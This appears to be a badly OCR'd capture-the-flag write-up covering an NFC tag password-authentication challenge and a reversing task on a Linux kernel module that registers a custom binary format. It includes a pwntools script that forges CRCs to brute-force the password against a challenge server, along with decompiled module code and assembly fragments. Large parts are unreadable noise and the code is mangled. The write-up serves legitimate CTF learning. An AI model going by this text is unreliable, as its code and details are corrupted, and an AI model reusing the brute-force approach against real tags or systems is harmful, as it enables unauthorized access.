a counter featuring anti-tearing support. After reaching the limit of unsuccessful attempts,
the memory access specified in PROT, is no longer possible. The PWD_AUTH command
is shown in Figure 22 and Table 39.

Table 40 shows the required timing.

MFC device Cmd Pwd

l CRC

NTAG , ACH"

623 pus

Tack

PACK CRC

359 ps

NTAG , MAK"

Time out

Fig 22. PWD_AUTH command

Traagk

57 ps

TTime0ut

asa-015710

Table 39. PWD_AUTH command

Name Code

Description

Length

Cmd 1Bh

password authentication

1 byte

Pwd

password

4 bytes

CRC

CRC according to Ref. 1

2 bytes

PACK

password authentication acknowledge |2 bytes

NAK see Table 23

see Seclion 9.3

4-bit

. X s '|”-~s\,»)1’:§q

e rS LT s o

D KWl s s x X ”oX

L
X s - « X

s ow s L

L orHFXE 4SS L Fdoe

pp
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from pwn import *
from crccheck .crc import

def (msg):
crc = CrcA()
crc . process (bytearray (msg))
return  str (crc . finalbytes  ([:: -1])

( msg):
global p

msg = str (msg) + calc_crc (msg)
p. send ( msg)

return  p. recv ()
0:

msg = '\ x1B'
for 1 in range (2* 16):

if calc_crc (msg + pl6(i) + '\xBE\XAF') == "\x49\x30" :
return msg + pl6(i) + '\ xXBE\XAF

0:
global p

p = remote (

auth_msg = find_pwd ()
send_msg ( auth_msg )
send_msg (' \ x30\ x24' )

if  _ _name__
main ()

[+] Opening connection to nfc.shieldchallenges.com on port 88: Done
[ ] Sent 8x7 bytes:
elelofelelelole] 24 68 49 30 | $h
poepeva7
] Received 8x4 bytes:
elelofelelelole] 33
poepesn4d
bytes:
24 24 |oss

8x12 bytes:
0000EEEe 66 6C 61 67 7b 47 30 5Ff 4d 31 6e 31 6f 6e 24 7d flag|{Ge |Mlnl 0n$}|
poepesle |
[s[o]¢] 12
[*] Closed connection to nfc.shieldchallenges.com port 86

L Yl s x

FTtlF3AdDnyamymz2ybyY
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ShabaKer nel
opn ! x .

This binary is not an elf. So what is it?
Load the .ko file and find out...
Use the image:

http://uec-images.ubuntu.com/releases/focal/release-20201210/

Good luck!

R 1, x FLXIXTSlY, 3% = % 5 f | SEOZHRB NI op 1 L X

Cffset(h) 00 01 02 03 04 05 06 07 0OFf 0% OA OB OC OD OE OF Decoded text

41 47 45 4E 1% 06 00 00 532 2F €2 €% €E 2F 62 MAGEN....E/bin/b
73 68 52 2ZF 62 €% €E 2ZF 70 €% €E &7 52 2ZF &2 ashR/bin/pingR/b
6E 2F &7 72 €5 70 52 2F 75 73 72 2F €2 &% €6E in/grepR/usr/bin
74 €5 €C 6E €5 T4 52 2F 73 €62 €9 6E 2ZF €% €E StelnetR/sbinfin
74 52 2F T3 62 €9 6E 2F €9 6E 73 6D &F €4 52 itR/sbin/insmodR
D C7T 85 73 A3 €5 6F CC D8 B7 8B C7 92 74 €6E Z=C.sfeoi@-«C'tn
LD 8D 4E B7 EC 1D 91 EC EQ CA 3% A7 21 1A FR ¥..N-i.'iaEss'.a
25 B8 B3 08 4B ©3 3L 4D 23 9E E3 D5 4E 8F F7 G%"* . K" :M#zalN.=

PR ras!1D91b- ¢ ,x . 1 _ s Lo N oL A N IR 2 2 S U A e
S..8 4 X0l v 4Xd " nEnchMEY) BSY . Ix s, (4D xy L o
X S, W kg s xS IAWXEZER HI A LN 7 A

> ~ v

CX AL e s X dHedzy G, MYHRHS s s s X T e . X e Y
pdns LY wx T A LAYHIS, T

X W v S F . - HL

TYFASW x o s 2 HRSNI2FRENI 4 X, . vios L Lx.qls
bxx oxs JEBYETAPRENI s | 17 T LY eHS e s v AL 4o x  x?

LT e s s A 2dANDS, , ¥ s L xs" ] L. X0 1

K ikdsS.o 2 E DENK f An/pdabkkd®pdzND S
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Mame

update_pa

"||.7\Y)[\lj?\gfll\élj1"v\(vx N ” . XS {1

XAl s £ 2 RENUWOFEHEYT « L FSoLo

__int64 loader_init()

_fentry__ ():
_register_binfmt (Bmagen_fmt, ALL)

return BLL;
}

I s . Kt YRE SN & L

LYY ISy, 1 _.x s s«.,.” ] s¢
A L Mo xs sy @l NGIOMdZE yo XY FYh, s 1L
@A NHZO ~ | ¥y s s KA, *x« . {0 WNISG !y s §sax 41 x s

G@P: x L5 Xx I xe T 47 x s

linux_binfmt {
list_head |h
module *module ;
(* load_binary )( linux_binprm *);

(* load_shlib  )( file  *);

(* core_dump )( coredump_params *cprm);
min_coredump ;

S .

1E2F RENWRY ARG 14,1 s

=x ., ] 4¢s N o]
f:2F RSNIAYAHY x | s

.~ TIUNB I A ad SN oskyIF YT T o

b Lx 4TS LB ] s Lsh LY L L.

SEEARS Y X L) h A ol xyx

18 0 NHzQ'(k . ~wxx s1 1 xs_ P
a i NE2GKIG P KS YR | L) & dsNHzO O, ¢ |

Al NEHZOKIG Y K ST R A4 HX 4. x . s+
P st AGNGIZOW . L Imx v s RG
Tx Jvs L lxys Do

S0 IS S B B I
., X -I « S Lo -I . -I ot
« X S X A y 1 A i x

L

L LAY dZE WA A Y HY H |

WOt 2HNnHMDb
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e d,x 41 1x 7 4
list_head {
list_head *next , *prev ;
linux_binfmt {
list_head |h
* module ;
(* load_binary )( * linux_binprm  );
(* load_shlib  )( * file ),
(* core_dump )( * cprm);
min_coredump ;
X, by x  x oG xE ARAZEPORAREYL Y E ISYWFY dixy (4 ¥
; linux_bintmt magen_
magen_fmt linux binfmt <<8>, offset this module, offset load magen hinary,
aid Nﬂjin)deZELIJ‘OAVWLJNMV st 21 ilfiup’Yl-vEléy‘{pﬁﬁi\)/} NEe1"” s S BN
Fdoox A w4 xRS 1w 1SS, T X A s xS ]
JIABR + 414 &0 NGOG _ s, L ys Xs 1 y sxs” X o Txooq1 Lolx T
Dx b x4 e AFRSEERVHC!I T L Ll ¥ x X1 14 ], hbiCLDYpahT s,

FNOKKEYEKTOWEI9 | YhbCLDyaa!x+ »aldNHz®GL ".1 s 1

f.2F RYYFIASYPOAYKNE L 1445 4 ose” X bx "1 _ . s RN

fi

fAYdZE AAYLINN ¥ s X x 7 (|
le_size = x{ DWORD x)&params->buf[5] <= 8u;

v19[8] = 6LL;

if

© © N o 00 bk~ w0 DN P

( file_size )
return 4294967288LL;

e b4 Y 44 n XY AXw ) AMDPEbILHATXs Lyl

I x & s, T XL ] X 1« 1 Vet SIX,XC X IX S { X I 7yx sso « q{ s

~ > ~

: G Ix ¥ X L X ) ] 1 S «

params>p =vim_mma{0x2000);

kmem =kmallodfile_size);

build_key&paramsh 0 dz¥ wdpB8 = X0 T

code_size file_size- 9 - uninitialized_var;

kernel reaqparams>file, kmem, code_size, uninitialized_var + 9);
stateless rcd X0 T

code_addr =vm_mmaycode_size);

copy_to_usefcode_addr, kmem, code_size);

start_threadd X O2 RSYHRRNE LI NI Ya
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X 4 <" X L CX I X g XX 45X R RS AP A RN R I P

oYy x by 1. L)oo .oX s v THAsS XX 4TS s
A0 NI WOKNS P R2 YU SN 02 RS YORREWAAT & . 5 o x

~ > ~ A v o~

1Tx 7" L 1 - .. .o XA ;X X X, X 171 x ,,s]<q{.8” oI“XL“‘sV x”1x~1j1
- X 1 sx e ~ERRB IR 143 0 W6 StepabyNDOn 6dzAt Ryl Se, (
K 4141s D KdgyAYAGsA Ll tSAKSRYDI NI -, s 14~

b4 LB T s x5 0% S SEENBR 1S It x e 14T .

>v

(rd_xbes w470 sy 4]

-
vig
w( QWORD x)a2 = BLL;
»{ QWORD x) {a2 + 8)
»{ WORD x) {a2 + 16)
if { *al )

return BxFFFFFFFFLL;
if { ta2 )

return OxFFFFFFFFLL;
if { a1 *= 82 )
return BxFFFFFFFFLL;
UF = -

(DHORD %) kmalloc( + 1, 3264LL);

Fl. 14y X RO T (¢ TN ) IR S I (S S | v 8 FdT s s T
L. S _4+:1s P57 s fF LRG0 £ f a7 27 1o L X w5 w/

X 4o Tx s s DX DX 1T S R
o v d e e s bx L AT ST B AR § R 6.8 SL s s

Fa 1 . s Néﬁvl-{iqﬁ\iméjﬁi'ﬁ\w%@éj”“S L Dx XX s

key = kmem_cache_alloc_trace{kmalloc_caches[5], OxCCOLL, 18LL);

if ( tkey )

{

BEL_15:
kfree(kmem) ;
goto LABEL _16;

}
if { {unsigned int)build_key({
&params->buf[9].
key,
{_int64 x) {(unsigned 1nt)( ( DWORD x)&params->buf[5] -
{_int64 x)&skip _size) == -
|| {file = params->file,
some_size = x{_DWORD x)&params->buf[5] + -9 - skip_size,
offset = skip_size + 9LL,
vi8 = some_size,
some_size ?'= kernel _read({file, kmem, some_size, &offset))
|| {stateless_rcd{key, 18LL, kmem, some_size},
code_addr = vm_mmap(6LL, BLL, some_size, 7LL, 2LL, BLL),
code_addr > OxFFFFFFFFFFFFFOBOLL) )
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LbdzAt Rp1Se- "
(¢! MAGEN- + 1f)- Pleaderss L, Y X o 1.1+~ , oL, X sl b [

o

R DX . S P Tinue! s X TR A s X Coxo, 11

~

red L. SICA . AT X 0 a1 My, )Y XS 2 {84

(10 .1 x> 4t s, sl o,

Headers s + , Yy x .o 41l . 1< _Xxo<s 3« 411
kernel_read offset | -~ *x ) ¥ L Build keyf ¢ HxYy s w144 10, -
A X< T ). FNDOn TP s s A0 HS SRS UND ™ | s L FY L

adraiSt SaawyNOM _ ~ s

>

build_key 1! 1 LT ox 1) 1° L
(rMmy) 1: 2 L xy

>~

1" L 43 Tx.14¢
1 L 1 & x.1q%s

A > ~ ~

s " x I pdaAf RYJSRY 45 1 odzXf RYPSE X 14+ T 4Xs
s X p A . e xXs L vt x o dzZEIRE GG PIHEBK 4 .17

R iny XXX T R TS , oxxtx§“*s§ §is§xx < ] G LR .S s « ., "] )

v v >

.( 1 .U S . X S =X « ., S 1 . S Is i« Xhﬂsiy 1 vl x) N o SX

~ ~ > ~ Al

__int64 _ fastcall update_path{BYTE xkey buffer, char xfilename, unsigned int offset)
{
unsigned int6d file; /] rax MAPDST
BYTE =xfile buffer; /! rax MAPDST
unsigned int eStatus; /] er14
__int64 i; }} rax

int64 offset_1; }! [rsp+6h] [rbp-38h] BYREF
unsigned int64 cookie; [/ [rsp+8h] [rbp-28h]

cookie = _ readgsqword{0x28u)
offset_1 = offset;
file = filp_open{filename, OLL, OLL);
if { file > OxXFFFFFFFFFFFFFBOOLL )
return {unsigned int)-1;
file buffer = {BYTE x)kmem cache _alloc_trace{kmalloc caches[5], OxCCOLL, Ox12LL);
if { file buffer )

eStatus = -1;
if { kernel_read({file, file_buffer, 18LL, Roffset_1) == 18 )

for { 1 = BLL; i %= 18; ++i )
key buffer[i] "= file buffer[i]:
eStatus = 6;

}
kfree{file buffer);
}

else

eStatus = -1;

filp close{file, BLL);
return eStatus;
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xw x| dzA ¥ RSB x= 1 *d2LoR LGS @, LIl K . | x {1 x 7 ]
1. {S@\ERN® F myT
2. offset = 0x5117
3. for filename in filenames separated by R, until the letter Z:

a. update_path(key, fename, offset)
b. offset += 0x11

LYY 3SY 0 A4, s A s Lx X

WK(’))\)/K(‘JI-éKWKO)\YKLJ)\)[EIWK(‘)AYKEINBLJWKdzéNJ<|O)\yKﬁéfy

vt TN Py WOAYKOIEMEPpMMIT, | XMy » DA T RYP| Se
ROAYKAYEY2R | . 1,5 iss oA KLAYAEPMHY . X« Fyr 4

s s« {YXx | s - s X UYH_QSVF-{X-|x12"Jx|_xx|_,,,sx "4, X8 X s

L X~ s | ]+ s s X

, oot L X PRRBNDAIS, Y Y )7 L D fi2U RSINI Vs x
LYY ISy . s 4.5 v vy Xl 4x ¥ 4ks fs2MIs {5 x, s X

PR R BN s . s A S v q . DR SRR e P S S

s ¢ s LY L0G NGXO8! /s gHe,wl €99 a9s ¢ ox v ¢ 4y X Foe e boxex

_(s~xA v 1s s « X

L _sv_||_-||_-|sJZs|v:\>|_dZ~Y|_ijx,,~_]A-||_¢L\xs I DX . DL 6oXx ’
YyOX o« X x. Lo X Rdzy B TXX L XTSI X s RKE JdS Dy x T

I LX) ISy - L1 Y2ReE” S X4 4 TLE, TKIZY S{IAVIHOSRG (0 LY SNIDS

VXX w L XNBE D x w1 (414 s Tx o, 1 {8 XS o)y T4 0x
RR: x . X

ubuntu@ubuntu
ubun untu

ubuntu untu

Stopped
@ubuntugue

QO:00 0

D/mem of=./app.

<B, 4.0 KiB) copied, 0.000376762 s,
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YIA§L e s 4. "X L s . A XL ER I T X X sy oo

segfen segment byte public ' CODE' use64
assume segbon
assume es:nothing, ss:nothing, ds:nothing, fs:nothing, gs:nothing
00000600060000000 jmp main

align

Sl s a T A RE O EREAL ] f A XTI A QOIS Ef s

int _ fastcall ptrace{ int64 request, _ int64 pid, void »addr, void xdata)
ptrace proc near ; CODE XREF: main+1CWp

= quword ptr
= qword ptr
= dword ptr
= dword ptr

quword ptr

moy
moy

mov

mov

mov

movy >si, [rsptvar
moy X, [rsptvar_28
nov [rsptvar
moy eax,

syscall

mov [rsptvar_8].

mov rax, [rsptva
retn

F41a4@&aOrEf ¢ L xS 1 s {7 Ll r 4 s 4

ARAOFH F{LOANI &S s s 4.7 x L ox T, -
F S L i« D G I i - I x b A {7 S | X

~ ~ > ~ A A ~ 1

YSYOovYLy - x_ 1x s T x
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